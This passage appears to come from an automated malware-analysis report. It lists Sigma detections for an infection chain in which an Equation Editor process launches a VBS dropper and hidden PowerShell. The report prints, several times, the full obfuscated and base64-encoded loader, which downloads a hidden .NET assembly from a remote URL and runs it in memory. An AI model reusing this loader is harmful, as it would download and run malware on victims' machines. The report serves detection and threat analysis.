wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsde'+'sativadowjs,wjs1wjs,wjsdesativadowjs));')-CreplacE([ChaR]118+[ChaR]122+[ChaR]103),[ChaR]36 -rePlACe ([ChaR]55+[ChaR]78+[ChaR]70),[ChaR]124 -rePlACe'wjs',[ChaR]39) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $pShoMe[4]+$PShomE[34]+'x') ( (('vzgimageUrl = wjshttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur wjs;vzgwebClient = New-Object System.Net.WebClient;vzgimageBytes ='+' vzgwebClient.Do'+'wnload'+'Data(vzg'+'imageUrl);vzgi'+'mageText = [System.Text.Encoding]::UTF8.GetString(vzgimageBytes);vzgstartFlag = wjs<<BASE64_START>>wjs;vzgen'+'dFlag = wjs<<BASE64_END>>wjs;vzgsta'+'rtIn'+'dex = vzgimageText.IndexOf(vzgstartFlag);v'+'zgendIndex '+'= vzgimageText.IndexOf(vzgendF'+'la'+'g);vzgstartIndex -ge 0 -and vzgendIndex -gt vzgstartIndex;vzgstartIndex += '+'vzgstartFlag.Length;'+'vzgbase'+'64Length = vzgendIndex - v'+'zgstartIndex;vzgbase64Command = vzgimageText.Substring(vzgsta'+'rtIndex, vzgbase64Leng'+'th);vzgbase64Reversed = -join (vzgbase64Command.ToCharArray() 7NF ForEach-Object { vzg_ })[-1..-(vzgbase64Command.Length)];vzgcommandBytes = [System.Convert]::FromBase64String(vzgbase64Rever'+'sed);vzgloadedAssembly = [System.Reflection.Assembly]::Load(vzgcommandBytes);vzgva'+'iMethod = [dnlib.IO.Home].GetMethod(wjsVAIwjs);vzgvaiMethod.Invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wj

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $pShoMe[4]+$PShomE[34]+'x') ( (('vzgimageUrl = wjshttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur wjs;vzgwebClient = New-Object System.Net.WebClient;vzgimageBytes ='+' vzgwebClient.Do'+'wnload'+'Data(vzg'+'imageUrl);vzgi'+'mageText = [System.Text.Encoding]::UTF8.GetString(vzgimageBytes);vzgstartFlag = wjs<<BASE64_START>>wjs;vzgen'+'dFlag = wjs<<BASE64_END>>wjs;vzgsta'+'rtIn'+'dex = vzgimageText.IndexOf(vzgstartFlag);v'+'zgendIndex '+'= vzgimageText.IndexOf(vzgendF'+'la'+'g);vzgstartIndex -ge 0 -and vzgendIndex -gt vzgstartIndex;vzgstartIndex += '+'vzgstartFlag.Length;'+'vzgbase'+'64Length = vzgendIndex - v'+'zgstartIndex;vzgbase64Command = vzgimageText.Substring(vzgsta'+'rtIndex, vzgbase64Leng'+'th);vzgbase64Reversed = -join (vzgbase64Command.ToCharArray() 7NF ForEach-Object { vzg_ })[-1..-(vzgbase64Command.Length)];vzgcommandBytes = [System.Convert]::FromBase64String(vzgbase64Rever'+'sed);vzgloadedAssembly = [System.Reflection.Assembly]::Load(vzgcommandBytes);vzgva'+'iMethod = [dnlib.IO.Home].GetMethod(wjsVAIwjs);vzgvaiMethod.Invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wjsdesativadowjs'+', wjsdesativadowjs, wjsdesativadowjs'+', wjsAddInProcess32wjs, wjsdesativadowjs, wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsde'+'sativadowjs,wjs1wjs,wjsdesativadowjs));')-CreplacE([ChaR]118+[ChaR]122+[ChaR]103),[ChaR]36 -rePlACe ([ChaR]55+[ChaR]78+[ChaR]70),[ChaR]124 -rePlACe'wjs',[ChaR]39) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $pShoMe[4]+$PShomE[34]+'x') ( (('vzgimageUrl = wjshttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur wjs;vzgwebClient = New-Object System.Net.WebClient;vzgimageBytes ='+' vzgwebClient.Do'+'wnload'+'Data(vzg'+'imageUrl);vzgi'+'mageText = [System.Text.Encoding]::UTF8.GetString(vzgimageBytes);vzgstartFlag = wjs<<BASE64_START>>wjs;vzgen'+'dFlag = wjs<<BASE64_END>>wjs;vzgsta'+'rtIn'+'dex = vzgimageText.IndexOf(vzgstartFlag);v'+'zgendIndex '+'= vzgimageText.IndexOf(vzgendF'+'la'+'g);vzgstartIndex -ge 0 -and vzgendIndex -gt vzgstartIndex;vzgstartIndex += '+'vzgstartFlag.Length;'+'vzgbase'+'64Length = vzgendIndex - v'+'zgstartIndex;vzgbase64Command = vzgimageText.Substring(vzgsta'+'rtIndex, vzgbase64Leng'+'th);vzgbase64Reversed = -join (vzgbase64Command.ToCharArray() 7NF ForEach-Object { vzg_ })[-1..-(vzgbase64Command.Length)];vzgcommandBytes = [System.Convert]::FromBase64String(vzgbase64Rever'+'sed);vzgloadedAssembly = [System.Reflection.Assembly]::Load(vzgcommandBytes);vzgva'+'iMethod = [dnlib.IO.Home].GetMethod(wjsVAIwjs);vzgvaiMethod.Invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wj

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 188.114.96.3, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 3640, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49164

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wednesdaydatinglover.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wednesdaydatinglover.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3492, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wednesdaydatinglover.vbs" , ProcessId: 3640, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wednesdaydatinglover.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wednesdaydatinglover.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3492, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wednesdaydatinglover.vbs" , ProcessId: 3640, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBTaG9NZVs0XSskUFNob21FWzM0XSsneCcpICggKCgndnpnaW1hZ2VVcmwgPSB3anNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciB3anM7dnpnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt2emdpbWFnZUJ5dGVzID0nKycgdnpnd2ViQ2xpZW50LkRvJysnd25sb2FkJysnRGF0YSh2emcnKydpbWFnZVVybCk7dnpnaScrJ21hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcodnpnaW1hZ2VCeXRlcyk7dnpnc3RhcnRGbGFnID0gd2pzPDxCQVNFNjRfU1RBUlQ+Pndqczt2emdlbicrJ2RGbGFnID0gd2pzPDxCQVNFNjRfRU5EPj53anM7dnpnc3RhJysncnRJbicrJ2RleCA9IHZ6Z2ltYWdlVGV4dC5JbmRleE9mKHZ6Z3N0YXJ0RmxhZyk7dicrJ3pnZW5kSW5kZXggJysnPSB2emdpbWFnZVRleHQuSW5kZXhPZih2emdlbmRGJysnbGEnKydnKTt2emdzdGFydEluZGV4IC1nZSAwIC1hbmQgdnpnZW5kSW5kZXggLWd0IHZ6Z3N0YXJ0SW5kZXg7dnpnc3RhcnRJbmRleCArPSAnKyd2emdzdGFydEZsYWcuTGVuZ3RoOycrJ3Z6Z2Jhc2UnKyc2NExlbmd0aCA9IHZ6Z2VuZEluZGV4IC0gdicrJ3pnc3RhcnRJbmRleDt2emdiYXNlNjRDb21tYW5kID0gdnpnaW1hZ2VUZXh0LlN1YnN0cmluZyh2emdzdGEnKydydEluZGV4LCB2emdiYXNlNjRMZW5nJysndGgpO3Z6Z2Jhc2U2NFJldmVyc2VkID0gLWpvaW4gKHZ6Z2Jhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSA3TkYgRm9yRWFjaC1PYmplY3QgeyB2emdfIH0pWy0xLi4tKHZ6Z2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07dnpnY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh2emdiYXNlNjRSZXZlcicrJ3NlZCk7dnpnbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHZ6Z2NvbW1hbmRCeXRlcyk7dnpndmEnKydpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCh3anNWQUl3anMpO3Z6Z3ZhaU1ldGhvZC5JbnZva2UodnpnbnVsJysnbCwgQCh3anN0eHQudHNldGFsZGlvcmRzc3Nzc3Nzb3RpdXFlL2dyby5zbmRrY3VkLmVsaWZ5eXl5eXlhZHNlbmRldy8vOnAnKyd0dGh3anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc2Rlc2F0aXZhZG93anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc0FkZEluUHJvY2VzczMyd2pzLCB3anNkZXNhdGl2YWRvd2pzLCB3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGVzYXRpdmFkb3dqcyx3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGUnKydzYXRpdmFkb3dqcyx3anMxd2pzLHdqc2Rlc2F0aXZhZG93anMpKTsnKS1DcmVwbGFjRShbQ2hhUl0xMTgrW0NoYVJdMTIyK1tDaGFSXTEwMyksW0NoYVJdMzYgIC1yZVBsQUNlICAoW0NoYVJdNTUrW0NoYVJdNzgrW0NoYVJdNzApLFtDaGFSXTEyNCAtcmVQbEFDZSd3anMnLFtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBTaG9NZVs0XSskUFNob21FWzM0XSsneCcpICggKCgndnpnaW1hZ2VVcmwgPSB3anNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciB3anM7dnpnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt2emdpbWFnZUJ5dGVzID0nKycgdnpnd2ViQ2xpZW50LkRvJysnd25sb2FkJysnRGF0YSh2emcnKydpbWFnZVVybCk7dnpnaScrJ21hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcodnpnaW1hZ2VCeXRlcyk7dnpnc3RhcnRGbGFnID0gd2pzPDxCQVNFNjRfU1RBUlQ+Pndqczt2emdlbicrJ2RGbGFnID0gd2pzPDxCQVNFNjRfRU5EPj53anM7dnpnc3RhJysncnRJbicrJ2RleCA9IHZ6Z2ltYWdl

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 188.114.96.3, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 3640, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49164

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke: Data: Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe, QueryName: ip-api.com

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $pShoMe[4]+$PShomE[34]+'x') ( (('vzgimageUrl = wjshttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur wjs;vzgwebClient = New-Object System.Net.WebClient;vzgimageBytes ='+' vzgwebClient.Do'+'wnload'+'Data(vzg'+'imageUrl);vzgi'+'mageText = [System.Text.Encoding]::UTF8.GetString(vzgimageBytes);vzgstartFlag = wjs<<BASE64_START>>wjs;vzgen'+'dFlag = wjs<<BASE64_END>>wjs;vzgsta'+'rtIn'+'dex = vzgimageText.IndexOf(vzgstartFlag);v'+'zgendIndex '+'= vzgimageText.IndexOf(vzgendF'+'la'+'g);vzgstartIndex -ge 0 -and vzgendIndex -gt vzgstartIndex;vzgstartIndex += '+'vzgstartFlag.Length;'+'vzgbase'+'64Length = vzgendIndex - v'+'zgstartIndex;vzgbase64Command = vzgimageText.Substring(vzgsta'+'rtIndex, vzgbase64Leng'+'th);vzgbase64Reversed = -join (vzgbase64Command.ToCharArray() 7NF ForEach-Object { vzg_ })[-1..-(vzgbase64Command.Length)];vzgcommandBytes = [System.Convert]::FromBase64String(vzgbase64Rever'+'sed);vzgloadedAssembly = [System.Reflection.Assembly]::Load(vzgcommandBytes);vzgva'+'iMethod = [dnlib.IO.Home].GetMethod(wjsVAIwjs);vzgvaiMethod.Invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wjsdesativadowjs'+', wjsdesativadowjs, wjsdesativadowjs'+', wjsAddInProcess32wjs, wjsdesativadowjs, wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsde'+'sativadowjs,wjs1wjs,wjsdesativadowjs));')-CreplacE([ChaR]118+[ChaR]122+[ChaR]103),[ChaR]36 -rePlACe ([ChaR]55+[ChaR]78+[ChaR]70),[ChaR]124 -rePlACe'wjs',[ChaR]39) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $pShoMe[4]+$PShomE[34]+'x') ( (('vzgimageUrl = wjshttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur wjs;vzgwebClient = New-Object System.Net.WebClient;vzgimageBytes ='+' vzgwebClient.Do'+'wnload'+'Data(vzg'+'imageUrl);vzgi'+'mageText = [System.Text.Encoding]::UTF8.GetString(vzgimageBytes);vzgstartFlag = wjs<<BASE64_START>>wjs;vzgen'+'dFlag = wjs<<BASE64_END>>wjs;vzgsta'+'rtIn'+'dex = vzgimageText.IndexOf(vzgstartFlag);v'+'zgendIndex '+'= vzgimageText.IndexOf(vzgendF'+'la'+'g);vzgstartIndex -ge 0 -and vzgendIndex -gt vzgstartIndex;vzgstartIndex += '+'vzgstartFlag.Length;'+'vzgbase'+'64Length = vzgendIndex - v'+'zgstartIndex;vzgbase64Command = vzgimageText.Substring(vzgsta'+'rtIndex, vzgbase64Leng'+'th);vzgbase64Reversed = -join (vzgbase64Command.ToCharArray() 7NF ForEach-Object { vzg_ })[-1..-(vzgbase64Command.Length)];vzgcommandBytes = [System.Convert]::FromBase64String(vzgbase64Rever'+'sed);vzgloadedAssembly = [System.Reflection.Assembly]::Load(vzgcommandBytes);vzgva'+'iMethod = [dnlib.IO.Home].GetMethod(wjsVAIwjs);vzgvaiMethod.Invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wj

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wednesdaydatinglover.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wednesdaydatinglover.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3492, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wednesdaydatinglover.vbs" , ProcessId: 3640, ProcessName: wscript.exe

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3492, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBTaG9NZVs0XSskUFNob21FWzM0XSsneCcpICggKCgndnpnaW1hZ2VVcmwgPSB3anNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciB3anM7dnpnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt2emdpbWFnZUJ5dGVzID0nKycgdnpnd2ViQ2xpZW50LkRvJysnd25sb2FkJysnRGF0YSh2emcnKydpbWFnZVVybCk7dnpnaScrJ21hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcodnpnaW1hZ2VCeXRlcyk7dnpnc3RhcnRGbGFnID0gd2pzPDxCQVNFNjRfU1RBUlQ+Pndqczt2emdlbicrJ2RGbGFnID0gd2pzPDxCQVNFNjRfRU5EPj53anM7dnpnc3RhJysncnRJbicrJ2RleCA9IHZ6Z2ltYWdlVGV4dC5JbmRleE9mKHZ6Z3N0YXJ0RmxhZyk7dicrJ3pnZW5kSW5kZXggJysnPSB2emdpbWFnZVRleHQuSW5kZXhPZih2emdlbmRGJysnbGEnKydnKTt2emdzdGFydEluZGV4IC1nZSAwIC1hbmQgdnpnZW5kSW5kZXggLWd0IHZ6Z3N0YXJ0SW5kZXg7dnpnc3RhcnRJbmRleCArPSAnKyd2emdzdGFydEZsYWcuTGVuZ3RoOycrJ3Z6Z2Jhc2UnKyc2NExlbmd0aCA9IHZ6Z2VuZEluZGV4IC0gdicrJ3pnc3RhcnRJbmRleDt2emdiYXNlNjRDb21tYW5kID0gdnpnaW1hZ2VUZXh0LlN1YnN0cmluZyh2emdzdGEnKydydEluZGV4LCB2emdiYXNlNjRMZW5nJysndGgpO3Z6Z2Jhc2U2NFJldmVyc2VkID0gLWpvaW4gKHZ6Z2Jhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSA3TkYgRm9yRWFjaC1PYmplY3QgeyB2emdfIH0pWy0xLi4tKHZ6Z2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07dnpnY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh2emdiYXNlNjRSZXZlcicrJ3NlZCk7dnpnbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHZ6Z2NvbW1hbmRCeXRlcyk7dnpndmEnKydpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCh3anNWQUl3anMpO3Z6Z3ZhaU1ldGhvZC5JbnZva2UodnpnbnVsJysnbCwgQCh3anN0eHQudHNldGFsZGlvcmRzc3Nzc3Nzb3RpdXFlL2dyby5zbmRrY3VkLmVsaWZ5eXl5eXlhZHNlbmRldy8vOnAnKyd0dGh3anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc2Rlc2F0aXZhZG93anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc0FkZEluUHJvY2VzczMyd2pzLCB3anNkZXNhdGl2YWRvd2pzLCB3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGVzYXRpdmFkb3dqcyx3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGUnKydzYXRpdmFkb3dqcyx3anMxd2pzLHdqc2Rlc2F0aXZhZG93anMpKTsnKS1DcmVwbGFjRShbQ2hhUl0xMTgrW0NoYVJdMTIyK1tDaGFSXTEwMyksW0NoYVJdMzYgIC1yZVBsQUNlICAoW0NoYVJdNTUrW0NoYVJdNzgrW0NoYVJdNzApLFtDaGFSXTEyNCAtcmVQbEFDZSd3anMnLFtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBTaG9NZVs0XSskUFNob21FWzM0XSsneCcpICggKCgndnpnaW1hZ2VVcmwgPSB3anNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciB3anM7dnpnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt2emdpbWFnZUJ5dGVzID0nKycgdnpnd2ViQ2xpZW50LkRvJysnd25sb2FkJysnRGF0YSh2emcnKydpbWFnZVVybCk7dnpnaScrJ21hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcodnpnaW1hZ2VCeXRlcyk7dnpnc3RhcnRGbGFnID0gd2pzPDxCQVNFNjRfU1RBUlQ+Pndqczt2emdlbicrJ2RGbGFnID0gd2pzPDxCQVNFNjRfRU5EPj53anM7dnpnc3RhJysncnRJbicrJ2RleCA9IHZ6Z2ltYWdl

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $pShoMe[4]+$PShomE[34]+'x') ( (('vzgimageUrl = wjshttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur wjs;vzgwebClient = New-Object System.Net.WebClient;vzgimageBytes ='+' vzgwebClient.Do'+'wnload'+'Data(vzg'+'imageUrl);vzgi'+'mageText = [System.Text.Encoding]::UTF8.GetString(vzgimageBytes);vzgstartFlag = wjs<<BASE64_START>>wjs;vzgen'+'dFlag = wjs<<BASE64_END>>wjs;vzgsta'+'rtIn'+'dex = vzgimageText.IndexOf(vzgstartFlag);v'+'zgendIndex '+'= vzgimageText.IndexOf(vzgendF'+'la'+'g);vzgstartIndex -ge 0 -and vzgendIndex -gt vzgstartIndex;vzgstartIndex += '+'vzgstartFlag.Length;'+'vzgbase'+'64Length = vzgendIndex - v'+'zgstartIndex;vzgbase64Command = vzgimageText.Substring(vzgsta'+'rtIndex, vzgbase64Leng'+'th);vzgbase64Reversed = -join (vzgbase64Command.ToCharArray() 7NF ForEach-Object { vzg_ })[-1..-(vzgbase64Command.Length)];vzgcommandBytes = [System.Convert]::FromBase64String(vzgbase64Rever'+'sed);vzgloadedAssembly = [System.Reflection.Assembly]::Load(vzgcommandBytes);vzgva'+'iMethod = [dnlib.IO.Home].GetMethod(wjsVAIwjs);vzgvaiMethod.Invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wjsdesativadowjs'+', wjsdesativadowjs, wjsdesativadowjs'+', wjsAddInProcess32wjs, wjsdesativadowjs, wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsde'+'sativadowjs,wjs1wjs,wjsdesativadowjs));')-CreplacE([ChaR]118+[ChaR]122+[ChaR]103),[ChaR]36 -rePlACe ([ChaR]55+[ChaR]78+[ChaR]70),[ChaR]124 -rePlACe'wjs',[ChaR]39) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $pShoMe[4]+$PShomE[34]+'x') ( (('vzgimageUrl = wjshttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur wjs;vzgwebClient = New-Object System.Net.WebClient;vzgimageBytes ='+' vzgwebClient.Do'+'wnload'+'Data(vzg'+'imageUrl);vzgi'+'mageText = [System.Text.Encoding]::UTF8.GetString(vzgimageBytes);vzgstartFlag = wjs<<BASE64_START>>wjs;vzgen'+'dFlag = wjs<<BASE64_END>>wjs;vzgsta'+'rtIn'+'dex = vzgimageText.IndexOf(vzgstartFlag);v'+'zgendIndex '+'= vzgimageText.IndexOf(vzgendF'+'la'+'g);vzgstartIndex -ge 0 -and vzgendIndex -gt vzgstartIndex;vzgstartIndex += '+'vzgstartFlag.Length;'+'vzgbase'+'64Length = vzgendIndex - v'+'zgstartIndex;vzgbase64Command = vzgimageText.Substring(vzgsta'+'rtIndex, vzgbase64Leng'+'th);vzgbase64Reversed = -join (vzgbase64Command.ToCharArray() 7NF ForEach-Object { vzg_ })[-1..-(vzgbase64Command.Length)];vzgcommandBytes = [System.Convert]::FromBase64String(vzgbase64Rever'+'sed);vzgloadedAssembly = [System.Reflection.Assembly]::Load(vzgcommandBytes);vzgva'+'iMethod = [dnlib.IO.Home].GetMethod(wjsVAIwjs);vzgvaiMethod.Invoke(vzgnul'+'l, 